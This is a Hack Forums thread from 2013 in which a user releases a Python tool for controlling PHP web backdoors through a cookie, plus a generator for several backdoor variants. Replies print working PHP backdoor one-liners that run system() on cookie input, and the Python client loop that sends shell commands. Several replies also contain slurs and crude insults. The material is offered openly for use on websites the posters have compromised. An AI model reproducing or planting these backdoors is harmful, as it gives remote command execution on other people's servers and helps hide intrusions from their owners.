+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Dongathon - Python Cookie Backdoor Shell Interaction [Release] (/showthread.php?tid=3703392)
Pages: Pages
1
2
Dongathon - Python Cookie Backdoor Shell Interaction [Release] - Nyckel - Aug 19, 2013
So a little over a month ago I created a basic python script that allows you to interact with a PHP backdoor through a cookie. The process is simple:
Take user input --> Send Input as a cookie to designated script --> PHP RCE function executes the command and returns output
The nice thing about this is that I can use any type of PHP function/backdoor I want to execute my command. I've recently decided to revamp my script and release it here on HF. I've added a generator which automatically creates 3 different types of php backdoors that are compatible with my script. These include:
- Preg_replace: utilizes preg_replace() with the \e modifier
- Call_user_func: utilizes call_user_func() with system()
- Non-alphanumeric: utilizes XOR to make a non-alphanumeric backdoor
Of course the beauty of this script is that you can use whatever type of backdoor you like, just make sure it executes $_COOKIE['p1r1'] or another if you just want to edit the python script all together. The script also returns everything between <pre> tags, so keep that in mind if your modding it.
ScreenShots:
-----------------------------------
Usage and Examples:
Spoiler (Click to View)
![[Image: IpNzDE7.png]](https://i.imgur.com/IpNzDE7.png)
Generator and Shell
Spoiler (Click to View)
![[Image: Mi4Ntv6.png]](https://i.imgur.com/Mi4Ntv6.png)
Think of this as something like a simplified and easily customizable Weevely or Webacoo. It's not meant to be anything special, but it still works well. Thanks for reading and I hope you enjoy.
http://pastebin.com/raw.php?i=tcdE9Ytv
* - ktmercedes - Aug 20, 2013
Great Effort. Really gonna try this one. Thank you for sharing
* - SoLong - Aug 20, 2013
I don't think I see myself in the credits section? Probably my vision, I'll go afk 5 mins and when I come back I expect it'll be there.
* - BeggFoMercy - Aug 20, 2013
I like it , Also I have made some thing familiar to that but in bash , Here you go If you want to take a look : https://hackforums.net/showthread.php?tid=3130669 .
Thanks for the share .
* - Im gone brah - Aug 20, 2013
I'll be sure to take a look at it D:
* - HaxOr❤ - Aug 20, 2013
Aww, this is a nice tool. I'm gonna use it for sure. <3
* - zeru_0_X - Aug 20, 2013
(Aug 20, 2013 06:28 AM)HaxOr❤ Wrote: Aww, this is a nice tool. I'm gonna use it for sure. <3Is it just me or does that "bra" in your signature look like a big cock?
And hi :)
* - Nyckel - Aug 20, 2013
(Aug 20, 2013 06:22 AM)ankr- Wrote:why would you exit instead of try again?Codeprint("Invalid Option: Exiting")
exit(1)
If you can't manage to give it a number between 1 and 4, you deserve to have rerun the script.
Thanks for the responses everyone.
* - Light Yagami. - Aug 20, 2013
(Aug 20, 2013 06:33 AM)zeru_0_X Wrote: Is it just me or does that "bra" in your signature look like a big cock?
And hi :)
u are one gay person i hate u fagget
python python python is cool
* - Keeper - Aug 20, 2013
I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.
* - Krieg - Aug 20, 2013
(Aug 20, 2013 02:19 PM)Keeper Wrote: I hardly do anything beneficial on this forum anymore but for the sake of its salvation lemme bu.mp this.
And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!
@Nyckel: If you release another version, dynamically generate the bd's.
Also:
PHP Code
<?php
$eval = call_user_func(system, $_COOKIE['p1r1']); // Thanks to big boi Phizo
$eval;
PHP Code
<?php
call_user_func(system,$_COOKIE['p1r1']);
* - Nyckel - Aug 20, 2013
(Aug 20, 2013 02:20 PM)Krieg Wrote: And this is good?
Look at all the hardcoded backdoors. IDS signatures, here we come!
@Nyckel: If you release another version, dynamically generate the bd's.
Also:
No. You don't need the second line there. What the fuck are you doing even assigning it to a variable at all?PHP Code
<?php
$eval = call_user_func(system, $_COOKIE['p1r1']); // Thanks to big boi Phizo
$eval;
works just fine.PHP Code
<?php
call_user_func(system,$_COOKIE['p1r1']);
Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.
* - Keeper - Aug 20, 2013
(Aug 20, 2013 02:28 PM)Nyckel Wrote: Ye fuck you too buddy. I ripped that one from Phizo's tutorial, so make sure to poop on him as well (although I'm equally at fault). I don't think I'll be releasing another version, but I'll keep your criticisms in mind. Thanks bb.
I'll ease his efforts. Here is Phizo's tutorial https://hackforums.net/showthread.php?tid=3591942
He did bad and should feel bad.
* - Keeper - Aug 20, 2013
(Aug 20, 2013 02:42 PM)ankr- Wrote: hai kepp
hauu are you
IWAN IWANOW PETROW
faget lel
You've miscopied it. My name is with a "v" instead of "w".
* - 123penis - Aug 20, 2013
Code
#Cookie Shell
def shell(site):
signal.signal(signal.SIGINT, signal_handler)
while True:
http = httplib2.Http()
cookie_value = "p1r1=" + raw_input("shell@dongathon:~$ ")
headers = {'Cookie':cookie_value}
response, content = http.request(site, 'GET', headers=headers)
for item in content.split("</pre>"):
if "<pre>" in item:
out = item [ item.find("<pre>")+len("<pre>") : ]
print(out[:-1])